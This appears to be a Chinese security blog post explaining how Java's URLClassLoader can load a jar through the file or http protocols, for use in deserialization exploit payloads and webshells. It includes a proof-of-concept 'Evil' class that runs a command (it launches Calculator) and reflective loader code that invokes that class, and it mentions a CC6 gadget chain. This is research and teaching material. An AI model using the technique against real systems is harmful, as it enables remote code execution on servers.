URLClassLoader加载jar包

前言

URLClassLoader继承了ClassLoaderURLClassLoader提供了加载远程资源的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。

如果需要利用,那么前提肯定是需要出网,其实也不一定,可以通过先写入文件,又因为URLClassloader支持file协议(通过网络加载使用http协议),加载本地jar包同样可以实现命令执行。

URLClassloader实现了通过指定类名,去远程/本地服务器上查找 class 类文件并且进行执行。

这里利用的还是InvokeTransform,但是反序列化的是URLClassloader对象

这里反序列化URLClassloader同样也可以实现命令执行,比起Runtime,它的优点在于可以运行Java代码,缺点利用步骤比较麻烦,需要搭建服务器等等。
我目前只实现了恶意类的恶意方法为静态方法时的Poc,这样invoke的参数为null,不需要实例化。

测试

1. 首先构造一个恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class Evil {
public Evil() throws Exception {
System.out.println("Hello TemplatesImpl");
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}

public void methodName() throws Exception {
Evil evil = new Evil();
}

public static void methodName2() throws Exception {
Evil evil = new Evil();
}
}

2. 打成jar包,放到本地文件夹

3. 使用file协议进行本地测试

1

其实这里弹出计算器是因为执行methodName()方法。

4. 构造远程、反序列化Poc

这里我使用URLClassloader调用的恶意函数中的方法是静态方法(invoke传null即可)+CC6构造Poc
2

5. 非静态函数

当要执行的函数为非静态函数时,就需要进行实例化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class UrlLoader {
public static void main(String[] args) throws MalformedURLException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
URLClassLoader loader = (URLClassLoader) UrlLoader.class.getClassLoader();

URL targetUrl = new URL("file:/path/evil.jar");
// 这个校验是为了避免重复加载的
boolean isLoader = false;
/* for (URL url : loader.getURLs()) {
if (url.equals(targetUrl)) {
isLoader = true;
break;
}
}*/

// 如果没有加载,通过反射获取URLClassLoader.allURL方法来加载jar包
if (!isLoader) {
Method add = URLClassLoader.class.getDeclaredMethod("addURL", new Class[]{URL.class});
add.setAccessible(true);
add.invoke(loader, targetUrl);
}

// 加载指定的class,然后为其创建对象后执行其方法,这些操作都是用反射去做的
System.out.println(Arrays.toString(loader.getURLs()));
Class<?> remoteClass = loader.loadClass("evil.Evil");
Object remoteInstance = remoteClass.newInstance();
Method method = remoteClass.getDeclaredMethod("methodName");
method.setAccessible(true);
System.out.println(method.invoke(remoteInstance));
}
}

3
运行结果说明两点:

  • 恶意类被加载了
  • 恶意类被实例化了(弹出两个计算器,一个是因为实例化类,运行构造函数,另一个是因为运行methodName()方法)

但是这个poc没有被改写成反序列化的poc,因为恶意类需要实例化,还没写出来,太菜了。